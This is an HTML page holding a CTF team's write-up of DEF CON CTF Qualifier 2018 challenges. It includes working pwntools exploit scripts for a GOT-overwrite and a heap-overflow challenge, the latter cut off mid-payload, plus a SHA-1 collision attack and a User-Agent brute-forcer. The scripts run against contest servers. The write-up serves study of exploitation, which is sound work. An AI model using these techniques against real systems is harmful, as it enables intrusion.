-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.html
1462 lines (1297 loc) · 102 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>DEF CON CTF Qualifier 2018</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
amuse-bouche
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#elf-crumble">elf-crumble</a>
<a class="dropdown-item" href="#you-already-know---warmup">you-already-know---warmup</a>
<a class="dropdown-item" href="#easy-pisy---crypto,-web">easy-pisy---crypto,-web</a>
<a class="dropdown-item" href="#babypwn1805---pwn">babypwn1805---pwn</a>
<a class="dropdown-item" href="#sbva---web">sbva---web</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
appetizers
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#it's-a-me!">it's-a-me!</a>
<a class="dropdown-item" href="#shellql">shellql</a>
<a class="dropdown-item" href="#flagsifier---reverse">flagsifier---reverse</a>
<a class="dropdown-item" href="#note-oriented-programming">note-oriented-programming</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
from-the-grill
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#elastic-cloud-compute-(memory)-corruption">elastic-cloud-compute-(memory)-corruption</a>
<a class="dropdown-item" href="#race-wars">race-wars</a>
<a class="dropdown-item" href="#say-hi!">say-hi!</a>
<a class="dropdown-item" href="#exzendtential-crisis-(unsolved)">exzendtential-crisis-(unsolved)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
guest-chefs
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#php-eval-white-list">php-eval-white-list</a>
<a class="dropdown-item" href="#ghettohackers:-throwback">ghettohackers:-throwback</a>
<a class="dropdown-item" href="#ddtek:-preview">ddtek:-preview</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">amuse-bouche</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#elf-crumble" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">elf-crumble</span>
</a>
<a href="#you-already-know---warmup" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">you-already-know---warmup</span>
</a>
<a href="#easy-pisy---crypto,-web" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">easy-pisy---crypto,-web</span>
</a>
<a href="#babypwn1805---pwn" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">babypwn1805---pwn</span>
</a>
<a href="#sbva---web" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">sbva---web</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">appetizers</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#it's-a-me!" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">it's-a-me!</span>
</a>
<a href="#shellql" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">shellql</span>
</a>
<a href="#flagsifier---reverse" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">flagsifier---reverse</span>
</a>
<a href="#note-oriented-programming" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">note-oriented-programming</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">from-the-grill</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#elastic-cloud-compute-(memory)-corruption" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">elastic-cloud-compute-(memory)-corruption</span>
</a>
<a href="#race-wars" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">race-wars</span>
</a>
<a href="#say-hi!" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">say-hi!</span>
</a>
<a href="#exzendtential-crisis-(unsolved)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">exzendtential-crisis-(unsolved)</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">guest-chefs</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#php-eval-white-list" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">php-eval-white-list</span>
</a>
<a href="#ghettohackers:-throwback" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ghettohackers:-throwback</span>
</a>
<a href="#ddtek:-preview" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ddtek:-preview</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="def-con-ctf-qualifier-2018"><a class="header-link" href="#def-con-ctf-qualifier-2018"></a>DEF CON CTF Qualifier 2018</h1>
<p>Written by BFS</p>
<p>BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.</p>
<h2 id="amuse-bouche"><a class="header-link" href="#amuse-bouche"></a>Amuse Bouche</h2>
<h3 id="elf-crumble"><a class="header-link" href="#elf-crumble"></a>ELF Crumble</h3>
<p>Original binary in range 0x05ad ~ 0x08d3 is filled with <code>X</code>. Search through all 8! permutation of fragments to get the flag.</p>
<h3 id="you-already-know---warmup"><a class="header-link" href="#you-already-know---warmup"></a>You Already Know - warmup</h3>
<ul class="list">
<li>Open the problem -> F12 -> Network -> Reopen the problem -> See the flag.<br><code>OOO{Sometimes, the answer is just staring you in the face. We have all been there}</code></li>
</ul>
<h3 id="easy-pisy---crypto,-web"><a class="header-link" href="#easy-pisy---crypto,-web"></a>Easy Pisy - crypto, web</h3>
<ul class="list">
<li><p>Service </p>
<ul class="list">
<li><p>First service : Server will Recognized pdf input via OCR and sign <code>(by openssl_sign($data, $signature, $privkey)</code>, but it will reject to sign on EXECUTE command)</p>
</li>
<li><p>Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.</p>
</li>
</ul>
</li>
<li><p>We found that this function will <code>sha1(data)</code> before signing.</p>
</li>
</ul>
<p>Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.</p>
<ol class="list">
<li><p>send the picutre 1 (<code>without EXECUTE</code>) to first service to <code>get the signature</code></p>
</li>
<li><p>pass this signature and sha1-collision pdf ( with <code>EXECUTE cat<flag</code>) to get the flag.</p>
</li>
</ol>
<p><a href="https://github.com/sonickun/sha1-collider/blob/master/collider.py">python script</a></p>
<h3 id="babypwn1805---pwn"><a class="header-link" href="#babypwn1805---pwn"></a>babypwn1805 - pwn</h3>
<ul class="list">
<li>Overwrite the pointer of program name, and trigger <code>SSP</code> -> leak information.</li>
<li>Get serveral <code>libc</code>.</li>
<li>Overwite <code>GOT read</code> with <code>onegadget</code> -> with probability 1/16 (correct libc).</li>
<li><code>/opt/ctf/babypwn/home/flag</code>.</li>
<li><code>OOO{to_know_the_libc_you_must_become_the_libc}</code></li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> struct
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">from</span> threading <span class="hljs-keyword">import</span> Timer
<span class="hljs-comment"># OOO{to_know_the_libc_you_must_become_the_libc}</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pow_hash</span><span class="hljs-params">(challenge, solution)</span>:</span>
<span class="hljs-keyword">return</span> hashlib.sha256(challenge.encode(<span class="hljs-string">'ascii'</span>) + struct.pack(<span class="hljs-string">'<Q'</span>, solution)).hexdigest()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_pow</span><span class="hljs-params">(challenge, n, solution)</span>:</span>
h = pow_hash(challenge, solution)
<span class="hljs-keyword">return</span> (int(h, <span class="hljs-number">16</span>) % (<span class="hljs-number">2</span>**n)) == <span class="hljs-number">0</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve_pow</span><span class="hljs-params">(challenge, n)</span>:</span>
candidate = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
<span class="hljs-keyword">if</span> check_pow(challenge, n, candidate):
<span class="hljs-keyword">return</span> candidate
candidate += <span class="hljs-number">1</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hit</span><span class="hljs-params">()</span>:</span>
cmd = <span class="hljs-string">'id;LD_PRELOAD='</span><span class="hljs-string">';'</span>
cmd += <span class="hljs-string">'cat /opt/ctf/babypwn/home/flag;'</span>
cmd += <span class="hljs-string">'ls -al /opt/ctf/babypwn/home/;'</span>
cmd += <span class="hljs-string">'source /opt/ctf/babypwn/flag.txt 2>&1;'</span>
<span class="hljs-comment">#cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\''</span>
y.sendline( cmd )
<span class="hljs-keyword">print</span> y.recv( <span class="hljs-number">2048</span> )
host , port = <span class="hljs-string">'e4771e24.quals2018.oooverflow.io'</span> , <span class="hljs-number">31337</span>
y = remote( host , port )
y.recvuntil( <span class="hljs-string">': '</span> )
challenge = y.recvline().strip()
y.recvuntil( <span class="hljs-string">': '</span> )
n = int( y.recvline() )
y.sendlineafter( <span class="hljs-string">':'</span> , str( solve_pow(challenge, n) ) )
success( <span class="hljs-string">'Go'</span> )
t = <span class="hljs-number">0.3</span>
y.recvuntil( <span class="hljs-string">'Go\n'</span> )
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange( <span class="hljs-number">0x10000</span> ):
y.send( p64( <span class="hljs-number">0xffffffffffffffc8</span> ) )
p = <span class="hljs-number">0xae77</span>
y.send( p16( p ) )
t = Timer(<span class="hljs-number">1.0</span>, hit)
t.start()
y.recvuntil( <span class="hljs-string">'Go'</span> , timeout=<span class="hljs-number">1</span> )
t.cancel()</code></pre><h3 id="sbva---web"><a class="header-link" href="#sbva---web"></a>sbva - Web</h3>
<p>This is one of the easiest challenges in the comptition.</p>
<p>First, we are given the admin's username and password to login, but the server will return <code>Incompatible browser detected</code>. How does the server derect our browser? A quick guess is through the <code>User-Agent</code> header. So what if the header does not contain the user agent string?</p>
<pre class="hljs"><code>$ curl <span class="hljs-string">'http://0da57cd5.quals2018.oooverflow.io/login.php'</span> <span class="hljs-_">-d</span> <span class="hljs-string">'[email protected]&password=admin'</span> -H <span class="hljs-string">'User-Agent:'</span>`
<br />
<b>Notice</b>: Undefined index: HTTP_USER_AGENT <span class="hljs-keyword">in</span> <b>/var/www/html/browsertest.php</b> on line <b>3</b><br />
<html>
<style scoped>
h1 {color:red;}
p {color:blue;}
</style>
<video id=<span class="hljs-string">"v"</span> autoplay> </video>
<script>
<span class="hljs-keyword">if</span> (navigator.battery.charging) {
console.log(<span class="hljs-string">"Device is charging."</span>)
}
</script>
</html></code></pre><p>A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.</p>
<p>In order to reduce possible user agent, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery">navigator.battery</a> in javascript is an important clue. It seems that only Chrome and Firefox support this.</p>
<p>Let's try Firefox with different version number first. The Firefox user agent spcification is <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">here</a>, though I'm just blindly trying the possibile version number without following the specification.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> product
s = requests.session()
<span class="hljs-keyword">for</span> i, j <span class="hljs-keyword">in</span> product(range(<span class="hljs-number">0</span>, <span class="hljs-number">6</span>), range(<span class="hljs-number">0</span>, <span class="hljs-number">51</span>)):
agent = f<span class="hljs-string">'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0'</span>
headers={<span class="hljs-string">'User-Agent'</span>: agent}
r = s.post(<span class="hljs-string">'http://0da57cd5.quals2018.oooverflow.io/login.php'</span>, data=dict(username=<span class="hljs-string">'[email protected]'</span>, password=<span class="hljs-string">'admin'</span>), headers=headers)
print(r.text, i, j)</code></pre><p>Surprisingly, we get the flag when the user agent is <code>Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0</code>.</p>
<p>Flag: <code>OOO{0ld@dm1nbr0wser1sth30nlyw@y}</code></p>
<h2 id="appetizers"><a class="header-link" href="#appetizers"></a>Appetizers</h2>
<h3 id="it's-a-me!"><a class="header-link" href="#it's-a-me!"></a>It's-a me!</h3>
<ul class="list">
<li>When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check</li>
<li>After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.</li>
<li>By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.</li>
<li>We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.</li>
<li>The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.</li>
<li><code>OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}</code></li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> check_output
<span class="hljs-keyword">import</span> re
context.arch = <span class="hljs-string">'amd64'</span>
r = remote(<span class="hljs-string">'83b1db91.quals2018.oooverflow.io'</span>, <span class="hljs-number">31337</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">()</span>:</span>
r.recvuntil(<span class="hljs-string">'Challenge: '</span>)
x = r.recvline().strip()
r.recvuntil(<span class="hljs-string">'n: '</span>)
xx = r.recvline().strip()
x = subprocess.check_output([<span class="hljs-string">'./pow.py'</span>, x, xx])
xx = re.findall(<span class="hljs-string">'Solution: (.*) ->'</span>, x)[<span class="hljs-number">0</span>]
r.sendlineafter(<span class="hljs-string">'Solution:'</span>, xx)
PoW()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">new</span><span class="hljs-params">(name)</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'N'</span>)
r.sendlineafter(<span class="hljs-string">'name?'</span>, name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">login</span><span class="hljs-params">(name)</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'L'</span>)
r.sendlineafter(<span class="hljs-string">'name?'</span>, name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">order</span><span class="hljs-params">(pn, ign, igs)</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'O'</span>)
r.sendlineafter(<span class="hljs-string">'pizzas?'</span>, str(pn))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(pn):
r.sendlineafter(<span class="hljs-string">'ingredients?'</span>, str(ign[i]))
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(ign[i]):
r.sendlineafter(<span class="hljs-string">'ingridient'</span>, flat(igs[i][j]))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cook</span><span class="hljs-params">(decl)</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'C'</span>)
r.sendlineafter(<span class="hljs-string">'explain'</span>, decl)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">admire</span><span class="hljs-params">()</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'A'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">leave</span><span class="hljs-params">()</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'L'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">please</span><span class="hljs-params">(payload)</span>:</span>
r.sendlineafter(<span class="hljs-string">'Choice:'</span>, <span class="hljs-string">'P'</span>)
r.sendlineafter(<span class="hljs-string">'yourself:'</span>, payload)
pineapple = <span class="hljs-number">0x8d8d9ff0</span>
tomato = <span class="hljs-number">0x858d9ff0</span>
chicken = <span class="hljs-number">0x94909ff0</span>
banana = <span class="hljs-number">0x8c8d9ff0</span>
poo = <span class="hljs-number">0xa9929ff0</span>
new(<span class="hljs-string">'A'</span>)
order(<span class="hljs-number">1</span>, [<span class="hljs-number">2</span>], [[<span class="hljs-string">'\xf0\x90\xf0\x9f'</span>, <span class="hljs-string">'\x8d\x8d'</span>]])
leave()
new(<span class="hljs-string">'B'</span>*<span class="hljs-number">0x30</span>)
order(<span class="hljs-number">1</span>, [<span class="hljs-number">1</span>], [[tomato]])
leave()
login(<span class="hljs-string">'B'</span>*<span class="hljs-number">0x30</span>)
cook(<span class="hljs-string">'a'</span>*<span class="hljs-number">290</span>)
leave()
new(<span class="hljs-string">'C'</span>*<span class="hljs-number">0x50</span>)
n = <span class="hljs-number">4</span>
order(<span class="hljs-number">1</span>, [n], [[<span class="hljs-string">'a'</span>*<span class="hljs-number">20</span>]*n])
leave()
login(<span class="hljs-string">'A'</span>)
cook(<span class="hljs-string">'a'</span>)
please(<span class="hljs-string">'C'</span>*<span class="hljs-number">32</span>)
login(<span class="hljs-string">'C'</span>*<span class="hljs-number">0x50</span>)
cook(<span class="hljs-string">'a'</span>)
x = r.recvuntil(<span class="hljs-string">'USER MENU'</span>)
xx = re.findall(<span class="hljs-string">'BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa'</span>, x)[<span class="hljs-number">0</span>]
heap = u64(xx.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>))<span class="hljs-number">-0x11e30</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'heap:'</span>, hex(heap)
<span class="hljs-comment"># exaust heap</span>
leave()
new(<span class="hljs-string">'D'</span>)
order(<span class="hljs-number">1</span>, [<span class="hljs-number">2</span>], [[<span class="hljs-string">'\xf0\x90\xf0\x9f'</span>, <span class="hljs-string">'\x8d\x8d'</span>]])
leave()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">9</span>):
new(chr(<span class="hljs-number">0x45</span>+i))
order(<span class="hljs-number">1</span>, [<span class="hljs-number">1</span>], [[tomato]])
leave()
new(<span class="hljs-string">'N'</span>)
order(<span class="hljs-number">1</span>, [<span class="hljs-number">2</span>], [[<span class="hljs-string">'\xf0\x90\xf0\x9f'</span>, <span class="hljs-string">'\x8d\x8d'</span>]])
leave()
new(<span class="hljs-string">'O'</span>*<span class="hljs-number">0x30</span>)
n = <span class="hljs-number">4</span>
order(<span class="hljs-number">1</span>, [n], [[<span class="hljs-string">'a'</span>*<span class="hljs-number">16</span>]*n])
leave()
login(<span class="hljs-string">'M'</span>)
cook(<span class="hljs-string">'a'</span>*<span class="hljs-number">290</span>)
leave()
login(<span class="hljs-string">'N'</span>)
cook(<span class="hljs-string">'a'</span>)
<span class="hljs-comment">#raw_input("@3")</span>
please(<span class="hljs-string">'C'</span>*<span class="hljs-number">24</span>+flat(
<span class="hljs-number">0x91</span>,
heap+<span class="hljs-number">0x132c8</span>, <span class="hljs-number">0x10</span>,
